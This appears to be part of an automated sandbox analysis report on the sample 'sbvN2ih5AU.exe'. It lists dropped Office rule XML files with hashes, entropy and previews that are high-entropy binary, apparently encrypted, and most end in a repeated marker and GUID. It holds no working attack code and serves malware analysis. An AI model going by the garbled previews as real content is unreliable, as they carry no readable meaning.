Preview:	<?xmlH.u.\|...7.o..G.gJ..4..n...-Ea[C..P.........9..yy....g.S'.._...L.y.[UB..1[Y..0(...@a......\N....R.Ib..il(E....r......f..o.....V...q.=....#)._a...M.z"\\|.I..?k.8.r....I....."....6...p.....~.q.t......Ik...fM....'&...... '+.(....._.m.Z\|...I.Z.............DO..n.%.R~.b.T.Dg.L.4.9u.t....UV.....5...1.R.....M.S... .I#0\.....D....7.\|2.....I.pI...wOS....Q............>..B...~..w`C. ....I.ezjV.-/.... .v....j......r......_......-D....C....2...U....$2...r.....Zjm...t................d.%.....%=......##.s...;z..d.F.2..@X...2,I......?).=.-....;.......v.G..<TG...vfR...N.3H?F.....6ii.!8}..L.M.m..F.{.c....W..fY3.&......gV....=...sO..0O#.#(...P.#"U;.....5...z.#...=.w.).x.g.....?....t.Y;..Ch{S.`..x.....-......t.o-x}..-......tc.`..s.1i.F.gu..Go&9p..\1.....D?.....y.l.i.C=TDDu..!...w...M?R7...p......D....+a...C...]....A~.2.KH.`ch!.."w.f..t,6....w...r..w.....\|RV#%.!.......-....4.;......[UE..s.-.wz}j.W.2[._Z[.HN..i.....$.......Ec4..pr...0....M.......u?.8....t.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10822v2.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	4786
Entropy (8bit):	7.9567514661036745
Encrypted:	false
SSDEEP:	96:y54bpOMUPkOsItmNS8qROfCtpUZINgfZM/nk6AwPzl45sa:y54dzOsIkNS8qROfCtpUZI4ZeZA+z27
MD5:	54C1B13F27B4DD731AFD9EE50001E3D0
SHA1:	93078AB4F56A0D9FB36E31119D4C167D2095BE75
SHA-256:	FB96E34B03A355007C4078114CD278F6A9F05126B6C9A2F8593398DB50544AC0
SHA-512:	2A8D5F6407F7E22075B7EB60B9BEDC2EDCA5C206459A9CF55C8D1695F6E33EF22D7A661E6D6C31480A8C4B92B705A093B091B5CAC45477B02F9FC254F723E43D
Malicious:	false
Preview:	<?xml.E.e..9..].........i..7z....!...)......H!W..HqUb .X.l.3Ez..?18..V.R.=..C7..,.q..?o...'.5u.e..x.f...^.3..-......G..C....%.....M....%...f.&.dl&.g..jP.....!.....Y...i5<..+'n..B..Q.M.(.....`K(.......[\..gh...3.....:..C....L......i13.<M.........xVMFv.7.N..m.3.b.j.d..} ..RO...Wy.m.....w(..p..;...T...".&...._.. ..o..Z.34....Jx.....U...wm.3..G.hUR6i.W.s..T..#....F.../...lO..e...r...%..=.q....9..{\.9..f.D.b.0...$.....\...;$......`...A.o..7{L......z....["]Y..u"\|E.j....T..2f"....a.....T.Ls..W._...O=...".__1.Qu..L#..d...^...g?R8&.y.....jx.B.t...C.'........G....x9.B....?.....K4.V.^...l.w..v.~n.@....h}.Cm.b.:.N....u.pXV..\...6.{...h..tQ.....K.O.F.=......m..w...{......rPl......g`.............\..wj.@...Z..?x0...{$k.2.....=..Q..qu.N..L..*#.O...znB\../!.....k.Q.z...z.8....(....{...Dl..!.j...;.s......E6.0[..bI...r@....u....8..&h......+A2.rU......ns0.h(z....m..;.._..XH.EH.....N....c..Q6..^^...WLQ..B...........<.)lc.r....J..N..Jey..+`E.........oV:..@

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10829v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	3030
Entropy (8bit):	7.938652110809169
Encrypted:	false
SSDEEP:	48:ptyEbD7GTkeIGeev6yxlp4lIbEq3+Q19kBsm96cVu3sJpyp7zB94v9bgWUPi3gmE:/DDOFP2aE+3W9R0sJy3f4v98WyigFA6D
MD5:	BF47ECB07B7677D4D22B9AC826374966
SHA1:	B91ABF37FAFFF04C882684ACDCFA7823FCB1046B
SHA-256:	D67C884AA768208B8ED3E339161A8C0D79C7B414E4BF1E900C1207E408A93BB5
SHA-512:	8184174837899340EBF965A876303826072154E4E95B8F66B52E997F31CFA927747EA97A23E3D17E44B3E3232E797D98DE141E0116893AC3ACD3A7B61234DA3D
Malicious:	false
Preview:	<?xml..i.0$.....\....L.kUB..y^rg.."!bO....d[D.I~./.sW..=...ie.......@.VD.;n.....6].._......Co,...... .c..`q#ph..u.w....9q.5l.6Hx.,......y...oI~{..h.j.....'.....g......F..O..P..........=\|p&5.....(X.X..6R.{p:..g.....2...0....j.(...dT.2.D.....P...Px..B.Y....Y9\|d~..U...4..W..h.c..!.,......#u.m....7.{v....q]...F...Q.a.:.$n8M&n.Wa....f.^O.#.......M.....XUl.../Tvu..8...~...@.(y..v.]"".(....e.^.i`.x\.sV.OEda...32........9..y.H.~.d^{....j......N.t./!t:...kK].Yxr.E.]..O.M..F..G.PEN..\.N...=..(:..A....<...h...F..{...W...K.OP....(.....G.ae4#.k..A.[q.`.J.Q..a.sP..3......K...O..Y.Py.v.I..U^.5UD....q...>pw..tb.... ..D.E.v\36,...E.....+[vujK..o..qUQ.<.&..A...3G..q..(.(..5{C}...... jP.'l....=.o..3.......D......M.....g...W..o.h..B.]..e+.B.M.?.`E2!...M.j..O....<E\|...~...?..-......\....:.#o...uu...vB....e...P.......J.b......./....yJ?>......l7....6..L..\|n&..?..$..C.2j1....P..]....S..$...f.~h....X...gko...{...C...~.o...?-R@.....W.4f...%>..+.......z2.*..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10879v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	789
Entropy (8bit):	7.699346086128391
Encrypted:	false
SSDEEP:	12:YzrcI5HI2/ihMtlSC0lqkZQj02O14JEjBsHhl3DRgs/xsFIYt78R/yLWKXjgwQSw:apI2/EIv++OiE2l3lv5bYE/yCoUwH2bD
MD5:	72C1CDA181A8F35110CFD2876E1D79C5
SHA1:	F6AEADC15B055C6865D9BE1DD6F15C52752EC1D0
SHA-256:	B0B0DDBE1F8892327C561FE28099CBDA7CDB4442ED92A64ECF866ECFC97A48F9
SHA-512:	EE3A7A3411A8FB1A1D4A222F442A667CAD921DF40079EE5172EA8BE30BDE5B5A30040D396C9119F0149B84940AA0F751236DC16C34BEA72BEB6E2A93EA80454E
Malicious:	false
Preview:	<?xml...(.@g>......z.....Ra."d3.....\.....Q.t.]6k.7.1..8.A.......=......_.....;#....>y.-.}..j...-.aV0=..4H........_..{.@L......A........-..5.v..>.#.;,5wd.LE.Q..,3#h.(.+.....=..]....j.LL.B".&}z(@.].V.......s.....-.....=l.'7.q..^.?....J.1i...9.>.X.n......_.k.LW...~.h..'&.Bb!.)........o..E..).9...I.u.C".B."z..........j.\|.`.aR"..........cJ.[.s.4.fi......z.....HW.i..+.W.:g.9..vg....c...3..l......H....X+Io.P^..AH...`...r..D.....i.$+..5{..).29..cv....3..S@..:.>....:..D5o....N."......#._yr.V.k.....(.0.....T....?j.nw.i.w..b...\.jP....g...1-....[(.p.......}..}....px...3..>..-..".C/.b..`..O.o.... ..4.wY.b.dU..A.=.6.C5.0S...Q.....-...x...."...3.~aA8.?.^.X..p....s...t.W..K#}O....OmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10880v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.934021974391474
Encrypted:	false
SSDEEP:	48:rPEaniN22kScs690x0+EamYTfAbFBHX39UGzkMilgrJNdaHLWmtH1TbDZm6XSvAK:rPpiN22kSu95+tmYjAbzn9BclsGL5tBg
MD5:	C3F380EB55723F1B2BEEC5BF96FD63B8
SHA1:	E6FD390B745731EAE77DAEDB3C061D5A1A005764
SHA-256:	113D96ABB0F7F3D44BBDFF0311E32ED8E296B94DABF0E503ED67F62E387F56B5
SHA-512:	41D2F99A4AA719E8211A7376E7B9FD17C6063C4EEAB00F2615104B698FD82725719C82C8D209C52B5E707F969851804325E89EB5994BB6994EB5BEA01EF42FB2
Malicious:	false
Preview:	<?xml....zd.K.).H5.$VD{.v...D.(u...d...f~...t.-....u(..6s..C...%...YeR......BM.&...1bA4%....lK.J.qu}.H?Lt..+..;.v`.H^.;Ma6.B.)IsU..-dK..b&..].{.7...o.......T......\r.b.b.{.].OF8.}/.:q.....L..J....8..^ .T..B.z5..S(.F.'.y.F..f.../.a[....g...8.=..![....b..\.;..X~.#N.#.k.D!.g.u.....,..T.c<..i..x..M.....?I.L.%K.......L......Yg......(.M.P.B7.......U&.U..xW.b...^x..._>DA.<.....8........../.M...G<......\|q.tgm..r._z..k..(..4..T..e..G..5...S.]./...kI...c..6.,T:..\.d..ghiH....,..(M...iI.....OA..LB..7..5)..A.. ......9.. .[.T....u9r........gx...\|H..B~.c....s.I.m.[...t......*.y.u.%..?B.....~.?..=9....o..Ny..M.....A...Q&.wdO-.l...Ez..H%o8a.".....f..b...W......=ve.....Y..80GQ.X..l.)...2....V....... ..f.).$yq.hz..........).....&w.6W..S..P..@..}..v..l.U...".?2.....jW5.DY16.M...G.d..\..}.d.h.....[H$.,....e.".H]....Ym.._WT.y..\d..5..D..[^.........].....].._'~....L#9..^..Q.M:.[.......2...\|..e..(f.... :(_,.... Jr..~.:..0.M.{....u....."f~wXA..t..7k..............

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10881v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	823
Entropy (8bit):	7.719874631618747
Encrypted:	false
SSDEEP:	24:uS1w2EsfDH6UkaPwcjWtDGecS39uBG3x22N57a5UBfB3Vrsy2bD:tqEOUPwcjOaIuBGB22N8+NVreD
MD5:	A2C01D74F9A9CCA66E549D8CEB463247
SHA1:	2F36586E965BD0CB261D3992C67C3621151E6455
SHA-256:	5029ACF3971E5A605528CF6D53E7E1E975517E03EF7D016D09B923750CD08A7D
SHA-512:	9216606243FD27BEE5029DD0F4CE89B6B7B0BF9C8353FD4E0270DF64E735CF82CD96CB68132466BBED805C68819E1B783168B082619882DB70DEAF6108CD28D6
Malicious:	false
Preview:	<?xml....J99.XC._....r.luo...'.+@...M...#.g99..]......B.pUb..X..Q~..../.$/..xl......iH...V..{..02.UsB.,.Z.&..:.........[....2..QS.}{.4X1....k.....EI...7m..Wg...#._p{J...b.<..6......:....-..H..r..b..H{..."6........j..Z.A..a8.KN.r...x.#Z..d#.....4be.R..a...7V..$.+......!.....O.........4.2....#.....yv.Q^.w]V6-..G1.r3=.a..j+;X:M@.<....u.K.Q..(......c_....;.$...."..J. .X.l..[.e.......5!S#..-.3..("...a.G.....>=.JHK.F.!.(.c$..._.3Dd-...S.........d`...pK......z~b&N>56..-..F.n...;.t..u..tGm...1..aB.%..k.[..+j~...u.t3.B9.......B..0..dj#.@.,...\/.8.[IK.{3Zokm.O.H..-......O.Q..:...h..2h..,%..y..d....(+...I.... .}6...D1......;...Y.id...'Z6r;0.q.1.x!...#.v.'.$...s..i.,;.*$.p_....M....i...iL..l..Y.5<..C.o7.!.M.>.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10882v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.936535335829972
Encrypted:	false
SSDEEP:	48:t0D6e+Vojq2+ke+vvrrLkohbAnmhG2YltSQBWb2GpZh6cmHpLhwmEGHZeb8rFzkR:tE+VoO2NvnEhtGbh4pLumEGHZOUFzkGA
MD5:	27C7634DE72DD039A89771E71EA27143
SHA1:	E47E26543B4FD8C412987E872208A8ED1D0785D7
SHA-256:	F36DF16313C5F0D8F854153FB4C068CECDCCCD1C2C61A7D21AF2572BF4460183
SHA-512:	94CFAF7B68C442508DEA27D4C27BC5FB1ABBEF5160039462C76370B707999CFA65ADBAEADBC99604B344D828AF17DD512019EED165CA4EA58CD126A52FF85A02
Malicious:	false
Preview:	<?xmlDc=..........;...gg.l.9....[.....Ss[.L.]..h.?..,\|A....iR......V.b&V....`W......;...$..r.6.M..g.1.^.,).`....R.@.)..>C........1ym.M=J...&.7..B~&m.z.6+^..QU.(.L}._x9S\|.....u.A..m....a..~R.u.9.Y...\|`."e....c."...5...G..&.....Wd..E.w?.){.Y.='.+..f?....6.....[.XH..3.).]\r..q..-..Swv..9O...I...kMw<v..p.@."....Q..`L.N).,.....^..>@......._.....4..^.....{.e..4.J..h.V..md==...,..%..Y;.<4.z6..WQ'w...i#..Bj'.....)uW.u.3H.....z..5.....Q.RS#...}.6.]..;....Q.mg..f.y...w.>....t".. ....V.m...W.\. .!g.....Q....2...+...7d.o..%G.5(4.F4}.....~...=..J.(c.C\|."+v4..8y-_.Y.........Y.;..\|wp.....q...l.:E.MY;.-....#.0...VZ..r..!...+...b{k..^.o..M...]...pio..}1YE.6....A..<...uL...`.,..#.j.....7{SaW..(4.&.I.,W.........>.x......N\|5 C..E..'........D...i..w.?w..=.V..........9..8.G........WR..N!..?>z...D.yt..E,..f95Y........Z....P....#......M.s.:&QY.r.n..7..PN!t/.Xe./.....#a/K.t...h...<kx\.`w...@B..:.J.N4V.....0ge(Z.r.}...>.J.Gb...s..#..\|.N......J..[...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10902v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1021
Entropy (8bit):	7.808942543991619
Encrypted:	false
SSDEEP:	24:wCDUU1jRv6uXvTj/t6BC2q5KLGF96LDLnW2bD:RUURJXV6BC2qcSqdD
MD5:	D3FE3B549940955C30840E11FED7A7D7
SHA1:	CDE6CBF51E5ADD8F7621EFAA50C4C841724A746E
SHA-256:	860BC273D237431ABD1C4C7C4118965B556C65ADD99F2A72ECA53DD8E884C057
SHA-512:	25C933E3B2CF97F496E3A77DB05B9E13361692E1FB4819EF793D95EB124CF745BF67D884B21B8A3940BB93BABF044D45D54301D089317E2D99E28483BF12CCB8
Malicious:	false
Preview:	<?xml.....;...c..3.........Y......r..!.}..Q..[..@.qp._.A.t..vY..g.oe..t.aY.q;.Q.$(c.../......`UNz....~......`p..o.K.#,......s.}...eq...#r.....yQ#.R-..B%....SV.(s.t.}.Gy&.....v+<i.....P.n..u9...;%..4 )."......oDE..vZ..6...>...a..4....f..j...u.{.].. .##...T...J."...h.}....`.qY.%...JK....CN..q^.Q..v...-..D:p..KU...V.. c...4....I.B......6.0.9.d.^d.JpV.MCE.=.]...a...,q.`..a..G.!....),.!.F.eS..Lgo....jI..4..T,.n.=Z..G#..'...i.....3...:..@x{.6......j..y.....+.]czD8......j.h..e.....<C...1..}...X.....1.k...#z..(..n.Pe8>..l..C.kK8.2.~`).....6K..Y.#.A._p..Ky.. A........;...`m......"....".t...,.]..yaf.P......0...}6p..d...L...Q8J..4.......Q.Q>.j..&.1no.... .N.~c.CE#.3.@.Ty.u.B..'Iz...d....-<A..:,=.5d...S..<i['.0..H.\|$@M....d..ZNjr.Eg.L.y.Z7 .......b.S..huO..+...:.C..$.s...$TUm...ES.Y.V.:7qFne......hQ7Xu,....o.e.K.f.F..<gZ..<...M..`/q".lK......u.n........w.KX.JS...(..k...#.R.p.:...c.c..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10906v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1398
Entropy (8bit):	7.838698634980048
Encrypted:	false
SSDEEP:	24:TVZv5IGzC6dNpKbqP9L7/bRg+IS+fYBI7OJaCLk7hULS2bD:TV15dTNkqBNIS+dULAuD
MD5:	0074DD3FD2252FD8CEA2DD151BBA52A4
SHA1:	6B7560E2F81D21B0BFA9B8D7F671416E0A18AF16
SHA-256:	88BA438D2762BE4DE88D92C8F7FDB970684816D896873D5F6A4561DE350FDD18
SHA-512:	BDA82C50BD5DCA5055DD637292F96036CCA2D944BECD76371F04B5714EE10B80A267426AEC4570EC5D41FD51A21928AF59C087A1FA823FD571DEDC33AAD961CA
Malicious:	false
Preview:	<?xml+.!o....nz..@.G@.h..Z.,.%.v.r....i.].3K....p..5..o..hjv$.K...&pc..'Ux...?....s9....)....].........Fc..8.98.)A.............. .4.....m.....A.ir...(.....n..6k.....u.?p{..Inn..LFU..8.....y.5Q....,.EDD.8....P.......y..^.B(.:m.pO.{.r..F..#...4...x.M.}....Y7s..i.;......j@S.A7[.R........m..b8..+&..xm<..+..k1/......2..P.~G.\.Y.m...4..\S<.h.T?v....B...t~....3{.'".......2.C..X.....Z.....L.#......B.L...0...nK/eD....?6..M.....2.I.r..c.(.C.c..69....c...N..%^$.A....?.\...m../r.k.c.;...W(,....D/..'.:...........&....0gui.s5U~G`...bo...i:.\B..I...~.'...ou...M,L.{.G.B..1/....._!]..y. u......O....M..Yt..H....!.4...4.d?g..R.a..d44s...r.^G.u.4.8.ES..X...0.b.C1k.$E.~.k.k.dX.T.u...%..-.C1.3.4.S...Cs......i].?\|.7.......1....R....."..v..Z....R.L.#.F.r..GJd.)!.1ag.>.+.Z....V.....26...$.Gj....S......#.Z~.m.qrW.!....uv....H.~.~..2}..I..c.:.L. ..M.)Hm.j..nQ.[.....C..W....=...1..jnk....Z*-\.:........P....6....&.K...<..Y..!.yh.G?UcA....s....8L..;.AK..H..(u...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10907v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	7.768664319975588
Encrypted:	false
SSDEEP:	24:sKmEFqXF35d70PXlHevBaGIgLcfee7TXSUzm92bD:vqXF35d7o1+paRpGe7bZrD
MD5:	EC0330C6AAFCF76CF60AD70A15E14A0D
SHA1:	7D9F9D7853BF953BE92F4C87154D9FCF73038819
SHA-256:	E716119EE4BA815EFA898C98D1C4F6002535C0B8A75FF6E55A797186A7A6448A
SHA-512:	ABBDD0266C4B73F3C0880A07FF7FC1BFFBEA9BD7C3B11652981AB916563A9C5B7005DFDCEC6E850CF8FB79FC16A464653511BFD438F933BB5DBEE6FB026BEF7B
Malicious:	false
Preview:	<?xml(J.#..`....r.Mi9.,oR.`.()x+^>."4H>.Q.k.B5#4..ho...F.p.2....O.pVpT.r.....v.\(.l...#..k.\|.D.;.r.(...'...=...eF....#20.....o...~.L.....F..v.0.6E#JY..w"..48Y.U<..c.....4)"....b.[y..p .&N..]}....N.~..T..y9.<c(...o..h5.;vE..N...Q....u...]',..=..wOM.5.Q....P.4g....<.-]..C...A...K..rTo........T.u.7............I4q...R.=t....!z...........V_M\.D..`.{c....`../Y..pv..l.??...O-@....ubo....J:..c a.O....ef+n..c...-..g.t.3.....}g...X..&....+.)..r.*.P.2f....M......:<>._...(..~.o..O....../.x\.?.[...w.z&b.)...\....e.R..........#F.o$.).....p..Sr.B.1.G.j.u$...I....N.Q...'hcz.j....E.....kT..hT..P;....,......K..\|.hl)!l..W@.....5....nN4.....k..\.ZB.&K^..w.s0W...,.FDmn..Il._...[...'.mE.....b.......;.(o8./.P..9..Z..3P.....m...._....?.....3k...VQ.#...M...@W..b...K.V.U......3pv.>Rf.-2.O...s..p...x.d.b.m!.;'.X.@........@..uzPmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10924v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	891
Entropy (8bit):	7.744004182017892
Encrypted:	false
SSDEEP:	24:WySccmiezw8CzU0RVZqR+svB0fs0Bvw3r2bD:WKcmieUI+sJ0fs0BvwoD
MD5:	9EAC3629602B21ADF029771236AB718B
SHA1:	A745726F28BA11FB9AF4628F222DC6EC4F6244F9
SHA-256:	C384CF67825A388A57C10D25CED8BD880E4E3A39BBAF9147879778E568E75489
SHA-512:	03CE54ABD30145502D159DB898ACDC7F518D1C3C15C7708FE38D6F9F386C5CF49DDF47CB7D4C2732EF04F35E3FA2B808C8E1B975D5ED404F550304F06DC0CAD1
Malicious:	false
Preview:	<?xml...h........n..fr.S......B).r...`#...j..n..D..~..L...8.......{..u........q..<.....r..a$...k#'..z....l..yx..5a........s....V...f...XK..0r..'..R.p..TA....L%..%..y....<;..Q..<7h..B.FY.=..f...7...'..U.n..g...J..T...eQ..;H.@s.....Q&.}..D%~...VXL.Q...W.dC#.>.z.)..#...]%..Y.)..+}....`.....3.....Xe...V#..C...~.o..@...]B.b..S$.^..R.WT.\`;9i...$....`.T.........0/l....0.M[.0..l&'S.`./L.0.S.`b.i......dmN..+[.......a.j(a .o.D..Z..../......6.\..G......M.....h7....].y.n.............HD....q.h....h...o]h1.......j;..r...c4.._....WU..X._3.#.[....1qb.G..\|.7a.....S..............x........J-".>..}..d...\....%..%..F..[.uE"_OI\|.6+..0,......A.M..Z]U@.y..-F.P<.J.nO.\M........6-5........S..P>a..`.....J.C..... .V>...kKR&....V..y.i.h..Iq-....2..j.....m.F..#..S(.`.W.5.oW....t4....+mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10925v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1049
Entropy (8bit):	7.8017262357970605
Encrypted:	false
SSDEEP:	24:Q41Ae1WXHIL23JdlItDf9FJEDS49fH6S2AS52bD:QsAfoy3nC12ZaSPD
MD5:	C4243D39BFF301EF87302E9D60E74518
SHA1:	7AF8B0DF4137B5D17B0FB0DA4529252934F7DE4F
SHA-256:	3B3AFFD2D3B4785E2706F65761E69B9E52CAA56ADDDDFE3483CCE5FC5A67CA07
SHA-512:	C7B5F2A54729C996EDC4EB6B8F022C39B42EB933AAFD6EDF633A414EBBB3B8CA6BB947D4CD1D9C7768AE8586EE6237295D543355A0C7CD543C42590B443EFEA2
Malicious:	false
Preview:	<?xml.F4...K.R.s.\X. D-....n.nW..k}.....8dQ(cs.h.6;%...V./....(J.k.....>.......8L..........=o.%....l........E?....}..rI.\|N.5......4b.I.[%_...G&P.C....x.....\.}..HW.p...Y/.....wP..#..uE....R8...6.?..5$....../.pb\....S...8'M`......{w8..0.DU$...{....19...A.I....4y.I..P...;...!.xw>..-...../..$V.M..5..`../.7..........c.V.T_Cb.Z.l..F.H....T~..;....P2......R..pnE......g...AX..........k.S......(j3B.<(.G7..=q.....kFJ.MH.'......\2b@h.C....p....[.......{..Y."3i.'....T..K...k...q..p..7Gx/.<.@"...\|....{,K._...(R..?..._..J~.....X%./,...B......Gt..i...c....R.%<..X..IV2..z....x-b...R..S.I.....j..X.YC..6.1o........l...wO..`..B...hz..>.U.H(O....}_......gz)e..B.J$.`........Q..G..~.%@.w....D....N.!.f_w....a..f:.:.'8R..z.!<>.......m.(...Wf..7..;..or..... ...DV.....[..1nP.....s..{..J..$soK...%......./..._.9.mk...P...........s..11..o...K.[=.....2.\|.@...SbJ.../....k..j.o>.H..$.<[.....K.....B.P..N..p......0..%z`u-.............oY...]...qmMsRxMUuXypapZbGOAfxD9pczHmW8

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10940v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	885
Entropy (8bit):	7.747454150868021
Encrypted:	false
SSDEEP:	24:RqRS0b00Wf4oArEKtDOcOG8Xd1++g3oPBtST2bD:RPDQ7R8NM+lJtSAD
MD5:	83A39F80ACD0B0370632E18DBF516A73
SHA1:	6AA0F79CA8C41CF45A28A2981B0A75800DDCA8B9
SHA-256:	E6F8DEB74C6601AD67675C4D3D15545E1C2F46947334E6AE57AF9FC319B1C833
SHA-512:	C8B3F9F1931CC6096F196C98974197FB86F15933E20E15257EF3407086F505CD684D3074D45CAE785C86B6022A4949F0BE2DAE7E05CC1C2E19895EFBA2C74CAE
Malicious:	false
Preview:	<?xml...>.N.z.`.....#.o9iJd..UC.k./"`zp]... .!...$.w...p..f4.:..q..X4r....vv...+.z.....v%.ZO.?V...~&.2q......#n.......=...*Z..O...m...NH@.:;...D....L.Q-J".B....j"C.3z5Yr..6.1.I2i...$.?b-.W+../.A.....Vi..n.}..S.....D.0......l..E5c.&i...j....7..6?.\|JAA..{.63s........l....).Y.kh..V5.o.O+F...!.D..Y.`.......D.?.q"9t..Q..?....F.h.`C.8..3..Kvw.'.H..V.T.........J..H.\..K.......).%..A....p&.L..@..z..%J...&8=n.,.7yW...=b..O...mJ..g.D.d.b...ml}...%....3.6.9.O...2h.\......lV...k<....4.x......^R..K.{,..tFk.GN....:.ki..pG...F.Na.U+.?m.......W...i...a..........b.....0...F..wH..7x..!.\.?. .p3}B......a.=.w8L.....<[8<m).......(.z..I..W.Z..u.x.[..H).v.[$.w1..n!{... Nq.i......"U,........$(-.w/...n..0./C.....@....Y.4.IF%n1.....;K.../kn9(..U..4.@&.Fy.pb0..^.M..^3...t......;..~!^.......mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10952v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	8529
Entropy (8bit):	7.977186000768747
Encrypted:	false
SSDEEP:	96:o01Tfm1CBefIvfWBMvSo+ja2HA8kORvXSshIqS9WFLaRq3f7N2746h8gS1reKQj:TYAefMfW0UaqkdshK9WE+E46XS1reKQj
MD5:	401E35E1C6C3C6EDCF5B4C307B565E35
SHA1:	72981920EC16158AF653DD67514A2C08EC851A8A
SHA-256:	0BCF6AF2DBD87C22BB1D79548E2D101D976F530788FAC3C4623BCF13EA4DB516
SHA-512:	1DE19E397E48805EBA18185E6B79F41C2718769AB2D82D8179DE0924BE25A753E1D8AD779E45D39317CB863DC1B1DAE49F2AD5FECA7761662C6B583A0CBA6D85
Malicious:	false
Preview:	<?xml....h.....D#T@pC.....s..z....Ro.z.].BLIp.7w...Z;x..[..U.E......xSkC...j...x.'.p..1^.`..5.l....m'i.#8.d..o,..x..]T........N..r...!R........`.J.....j...2E..j6q....&....K.T....N...[=.A..+.a......).....u..T.0.I_.C6.\|l.;.....&i...Dq...y...\|..).....O.......&R..Nc.[&......[.JN\..Y... ..\|..T.%..4.7"..?.../.5..UD:.....Uj......[..&..y)($..(.o.a...5...k\|..s..#.............c...,L.<..j]c}x..<.\|...J...>.L..e.TJ....~.Y^w,.f....A..o...7...0.)O* ?..4.-.b'&..\|.j.sb.....u.BO.#.[?o.p."@.!...n..Z9.....\|..T2..OY.y09p.V...&.0...[E.qd.9..T.g...."!..QN...,D's.'.x.^...(XM[..J...!/&eO....^...W.Z.E.>=.%....>......l.A.}..?.m2..d....7...U2...0..>@....`.XO..pe..A8.IZ.Ld.\|..s...")..^........j.....vv.B.b.!.....B3..........b.....#......X}..C..g#M`w;....8....h.I.u.5.7\..{].W.W..o.M.@..h..+..a.....a\.1.x....g.."....zr.E..L.."7..`.....*ki.........3Z..{.../..w%.N..6.z..5H..z._...{....>p...Vi...T[.....o.(.Cs.rxe...i...5cY....foh....RA^.2..t...J...SiG.U....h..-R~.Ik1..q.z.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10955v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1242
Entropy (8bit):	7.847013056989795
Encrypted:	false
SSDEEP:	24:OUnRHdGNXJBjTRg8t4c7DBmdpZfcLlxd7nJxl1nmbowfa+zxT2bD:OUnxk59M3RcLvdjnXnaokfzeD
MD5:	A9269A86F09D0D847E2262476DD9991C
SHA1:	25D152715D09E460A323AC95DD5235574F857CAD
SHA-256:	A4CA04F5019BBD0CA6B21C5BBB5B3BBF152EBA68FD66078C165FC63B07A86A46
SHA-512:	377182722F8186BFE27683E22B95FB28660645E6813232E923915FA87C479F97D063313E91D588CBDA81222D80DAB78669215994D27AE199C519B0708C6ED079
Malicious:	false
